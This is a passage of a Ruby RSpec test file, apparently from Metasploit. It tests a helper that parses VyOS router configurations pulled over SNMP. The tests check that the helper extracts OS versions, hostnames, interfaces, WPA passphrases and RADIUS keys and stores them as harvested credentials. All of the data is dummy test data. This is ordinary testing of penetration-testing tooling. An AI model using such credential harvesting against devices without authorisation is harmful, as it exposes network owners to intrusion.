'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
expect(aux_vyos).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
access_level: 'rw',
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
module_fullname: 'auxiliary/scanner/snmp/vyos_dummy',
jtr_format: '',
private_data: 'write',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with OS Versions old style' do
data = "/* Release version: VyOS 1.1.8 */"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 OS Version: VyOS 1.1.8")
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with OS Versions new style' do
data = "// Release version: VyOS 1.3-rolling-202008270118"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 OS Version: VyOS 1.3-rolling-202008270118")
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with host names' do
data = "system {\n"
data << " host-name vyos\n"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 Hostname: vyos")
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with static ethernet addresses' do
data = "interfaces {\n"
data << " ethernet eth0 {\n"
data << " address 1.1.1.1/8\n"
data << " hw-id 00:00:aa:ff:99:99:99\n"
data << " }"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 Interface eth0 (00:00:aa:ff:99:99) - 1.1.1.1")
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with static ethernet addresses with description' do
data = "interfaces {\n"
data << " ethernet eth0 {\n"
data << " address 1.1.1.1/8\n"
data << " description \"outside\"\n"
data << " hw-id 00:00:aa:ff:99:99:99\n"
data << " }"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 Interface eth0 (00:00:aa:ff:99:99) - 1.1.1.1 with description: outside")
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with wireless server' do
data = "interfaces {\n"
data << " wireless wlan0 {\n"
data << " address 192.168.2.1/24\n"
data << " channel 1\n"
data << " mode n\n"
data << " security {\n"
data << " wpa {\n"
data << " cipher CCMP\n"
data << " mode wpa2\n"
data << " passphrase \"12345678\"\n"
data << " }\n"
data << " }\n"
data << " ssid \"TEST\"\n"
data << " type access-point\n"
data << " }\n"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 Wireless access-point 'TEST' with password: 12345678")
expect(aux_vyos).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 1,
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'wireless AP',
module_fullname: 'auxiliary/scanner/snmp/vyos_dummy',
jtr_format: '',
private_data: '12345678',
username: 'TEST',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with wireless server with radius' do
data = "interfaces {\n"
data << " wireless wlan0 {\n"
data << " address 192.168.2.1/24\n"
data << " channel 1\n"
data << " mode n\n"
data << " security {\n"
data << " wpa {\n"
data << " cipher CCMP\n"
data << " mode wpa2\n"
data << " radius {\n"
data << " server 192.168.3.10 {\n"
data << " key 'VyOSPassword'\n"
data << " port 1812\n"
data << " }\n"
data << " }\n"
data << " }\n"
data << " }\n"
data << " ssid \"Enterprise-TEST\"\n"
data << " type access-point\n"
data << " }\n"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 Wireless access-point 'Enterprise-TEST' with radius password: VyOSPassword to 192.168.3.101812")
expect(aux_vyos).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 1,
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'wireless AP',
module_fullname: 'auxiliary/scanner/snmp/vyos_dummy',
jtr_format: '',
private_data: 'VyOSPassword',
username: 'Enterprise-TEST',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with wireless client' do
data = "interfaces {\n"
data << " wireless wlan0 {\n"
data << " address dhcp\n"
data << " security {\n"
data << " wpa {\n"
data << " passphrase \"12345678\"\n"
data << " }\n"
data << " }\n"
data << " ssid TEST\n"
data << " type station\n"
data << " }\n"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 Wireless station 'TEST' with password: 12345678")
expect(aux_vyos).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 1,
protocol: 'tcp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'wireless',
module_fullname: 'auxiliary/scanner/snmp/vyos_dummy',
jtr_format: '',
private_data: '12345678',
username: 'TEST',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
end
end